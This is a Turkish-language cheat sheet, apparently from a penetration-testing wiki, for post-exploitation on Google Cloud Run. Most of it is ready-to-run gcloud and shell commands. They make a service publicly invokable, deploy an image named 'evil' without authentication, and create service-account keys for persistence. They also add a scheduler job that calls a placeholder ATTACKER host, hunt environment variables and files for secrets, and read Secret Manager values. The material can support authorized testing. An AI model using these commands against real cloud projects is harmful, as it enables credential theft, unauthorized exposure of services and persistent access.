GCP - Cloud Run Post Exploitation
GCP post-ex
GCP - Cloud Run Post Exploitation — GCP ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Hedef veriyi / trafiği / compute’u seç.
-
Exfil veya yan etki primitifini çalıştır.
-
İkinci hesap / iç ağ pivotunu dene.
-
Kanıt paketini (çıktı, hash, zaman) kaydet.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
gcloud auth listgcloud config get-value projectgcloud auth print-access-token | cut -c1-20Hedef komutlar
Section titled “Hedef komutlar”GCP - Cloud Run Post Exploitation için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
gcloud run services proxy SVC --region REGIONcurl -s https://SVC-XXXX.a.run.appgcloud run services listgcloud run services describe SVC --region REGIONgcloud run services add-iam-policy-binding SVC --region REGION --member=allUsers --role=roles/run.invokergcloud run deploy SVC --image gcr.io/PROJECT/evil --allow-unauthenticated --region REGIONKalıcılık / etki
Section titled “Kalıcılık / etki”Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.
gcloud iam service-accounts keys create persist.json --iam-account SA@PROJECT.iam.gserviceaccount.comgcloud scheduler jobs create http persist --schedule='0 * * * *' --uri=https://ATTACKER/ --http-method=GETgcloud functions deploy persist --runtime python312 --trigger-http --source .Secret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40gcloud secrets listgcloud secrets versions access latest --secret=SECRETRapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt